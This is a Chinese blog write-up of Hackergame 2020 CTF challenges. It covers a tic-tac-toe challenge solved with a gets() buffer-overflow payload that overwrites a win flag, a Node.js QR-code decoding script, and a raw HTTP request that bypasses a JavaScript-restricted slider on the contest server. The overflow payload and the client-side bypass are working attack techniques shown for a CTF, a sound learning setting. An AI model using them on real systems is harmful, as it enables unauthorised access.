生活在博弈树上 350

现代人工智能以埃米尔·博雷尔的“让一只猴子在打字机上随机地按键,当按键时间达到无穷时,几乎必然能够打出任何给定的文字,比如莎士比亚的全套著作。”为嚆矢。滥觞于哲学与数学的期望正失去它们的借鉴意义。但面对看似无垠的未来天空,我想循约翰·冯·诺伊曼“年轻人,在数学中你不理解事情,你只是习惯它们。”好过过早地振翮。
…(省略若干行)
用在博弈树上的生活方式体现个体的超越性,保持婞直却又不拘泥于所谓“遗世独立”的单向度形象。这便是恩里科·费米为我们提供的理想期望范式。生活在博弈树上——始终热爱大地——升上天空。

一开始没看懂题目在说啥,后来发现好像是魔改的某篇知名高考作文,出题人有心了 =-=!

是井字棋游戏

这是一款井字棋游戏,电脑使用博弈树选出下一步走法,不过本题解法与博弈树似乎并无关系。

分析源码,可以看到标记是否胜利的 success 变量似乎可以被 gets 覆盖。

    bool success = false;  // human wins?
    char input[128] = {};  // input is large and it will be ok.
...
    gets(input);

直接在网页终端用调用 api 丢几百字节的 0x01(true)过去即可获得第一小问的 flag。

socket.send("(1,1)" + "\x01".repeat(160) + "\n")

第二小问很明显是 pwnable 类型的了,简单查了下似乎程序开启了多种保护,果断放弃。

后来看到本题的官方题解是用了 ROP 来解。嗯,我应该确实是做不出的 (= =||)。

来自未来的信笺 200

你收到了一封邮件。没有标题,奇奇怪怪的发件人,和一份奇怪的附件。日期显示的是 3020 年 10 月 31 日。
“Send from Arctic.” 正文就只有这一句话。
「谁搞的恶作剧啊……话说这竟然没有被垃圾邮件过滤器过滤掉?」你一边嘟囔着一边解压了附件——只看到一堆二维码图片。
看起来有点意思。你不禁想试试,能否从其中得到什么有意义的东西。

找了半天,竟然没找到一个靠谱的可以扫描二进制二维码的命令行工具。

于是写个 node.js 脚本吧:

import fs from 'node:fs/promises';
import jsQR from "jsqr";
import decode from 'image-decode'

let files = await fs.readdir('.')
let output = [];
for (let file of files) {
    console.log(file)
    if (!file.endsWith('.png')) {
        continue
    }

    let image = await fs.readFile(file)
    let image_info = decode(image)
    let code = jsQR(image_info.data, image_info.width, image_info.height, { inversionAttempts: 'dontInvert' })
    output = output.concat(code.binaryData)
}

fs.writeFile('output.bin', new Uint8Array(output))

获得一个类似压缩包的文件,使用 7z 打开解压即可。

签到 50

谢邀,利益相关:老签到出题人了。
今年出题组的要求是「来参加我们比赛的同学很多都是初学者,我们的签到题要清晰明确一点,让同学们轻松签到。」
我完全明白了,签到题就是送 flag,送就送,我最会送了.jpg
首先写好题目介绍:「你需要点击下面蓝色的 “打开/下载题目” 按钮,在打开的网页上获取到形如 flag{…} 的 flag,回到本页面,将其完整填写到下面的文本框中,并点击灰色的 “提交” 按钮即可完成本题。」
然后写一个 flag 提取器,选手要多少个 flag,我就给多少个 flag,绿色背景,红色加粗,显眼的位置,标准的格式,这都不叫送,那还有什么叫做送。
点击 「打开/下载题目」 按钮,打开 flag 提取器,获取第一个 flag 吧!
提示:完成题目遇到困难?你可以参考 2018 年签到题题解 与 2019 年签到题题解。

题目页面(源码)

很好,要多少个 flag,就给多少个 flag!页面中有一个范围为 0~1.5 的滑动条。不过这滑动条的精度设置的非常高,使用鼠标来来回回左右拖曳就是设定不出一个整数。

Range Slider

这个带范围的拖动条在 HTML 中称作 Range Slider,是一个标准的 Input 控件。下文中我们将这样的 Range Slider 控件简称为 RSCRange Slicer Component)。

当浏览器呈现诸如 RSC 这样的控件时,为了确保各终端用户都可以正常使用,实现网页无障碍化(Web Accessibility),会兼容多种操作模式,例如键盘、鼠标、触摸操作等。

在本题中,显然鼠标、触摸操作无法精准定位 RSC,但键盘就可以实现精准定位。通过参考 W3C 工作组发布的关于无障碍化相关标准的文档,可以了解使用键盘操作 RSC 的规则。

https://www.w3.org/TR/wai-aria-practices-1.1/#slider

这里的 Left Arrow 对应了键盘上的 键、Right Arrow 对应了键盘上的 键。也就是说,使用键盘上的 键就能实现与 RSC 的精准交互。

键盘操作

先使用鼠标将 flag 的数量设置到接近 1.00000 的位置,通过使用键盘操作。很快 flag 的数量就迅速逼近 1.00000,距离最终的成功也越来越近了。

cchchachanchang长

但此时却发生了一件不合常理的事情,在 flag 数量为 1.00001 处按下 键时,数量直接变为了 0.99999,反之亦然。无论怎么尝试,flag 数量都无法设定为 1.00000。

显然,这不仅仅是一个简单的 Range Slider 组件。这很可能是一个受到 JavaScript 控制的 Range Slider 组件(JavaScript Controlled Range Slider Component)。

JavaScript 分析

使用右键查看网页的源代码,很快就证实了先前的猜测。签到题出题人通过编写 JavaScript,暗中修改了 RSC 的运作规则。

<input type="range" id="number" name="number" class="form-control" value="0" min="0" max="1.5" step="0.00001"/>
...
$('#number').on('input', function() {
	if ($('#number')[0].value.toString() === "1") {
		console.log('没想到吧!');
		$('#number')[0].value = 1.00001;
		if (prevVal == 1.00001)  $('#number')[0].value = 0.99999;
		if (prevVal == 0.99999)  $('#number')[0].value = 1.00001;
	}
}

可以看到,出题人设定的规则是:当 RSC 收到用户输入时,如果其数值对应的字符串为 "1",则根据规则将 RSC 的值为 0.99999 或 1.00001。

我们知道,这个滚动条的范围是 0~1.5,其中有两个整数:0、1。而能提取出 flag 的整数只有 1,而出题者又通过 JavaScript 控制 RSC,使其无法设定为 1。也就是说,签到题出题者限制了我们能够提交的唯一的整数。

问题的本质

但事情并没有那么单纯。这真的是出题者限制的吗?如果只是从表面上看,确实是这样。但如果透过表象看本质,可以发现其实并非如此——拦在选手面前的并非出题人,而是拒绝选手将 RSC 设定为 1.00000 的浏览器。也就是说,并非出题人直接限制了能够提交的整数,而是出题人利用了选手的浏览器,限制了选手能够提交的整数。

思考到这一步,问题就迎刃而解了。显然,我们编写一个简易的、只能访问这一个页面的、不会限制 RSC 数值的命令行浏览器即可求解本题。

const net = require('net');
var clientSocket = net.connect(10000, '202.38.93.111');
clientSocket.on('connect', function() {
  clientSocket.write(
    'GET http://202.38.93.111:10000/?number=1 HTTP/1.0\r\n' +
    'Host: 202.38.93.111:10000\r\n' + 
    'Cookie: 【选手Cookies】\r\n\r\n');
})

clientSocket.on('data', (data) => {
  console.log(data.toString().trim());
});

运行这段自制浏览器代码后,即可突破浏览器的限制,成功提交数值 1,并获得 flag。


这次好几题似乎都非预期了(超迷你的挖矿模拟器、中间人后两问),所以分数水分还是比较大的(不过其他选手也有非预期,所以应该没什么问题吧!(。>︿<))。

最后没解出的几题都是二进制相关的,看了题解,感觉自己也确实是做不出(嗯,并不是 IDA 版本太旧)。感觉是时候要去了解下 pwnable 了。(咕咕咕)

Coxxs

Hackergame 2020(中科大信安赛)write up》有2个想法

发表评论

电子邮件地址不会被公开。 必填项已用*标注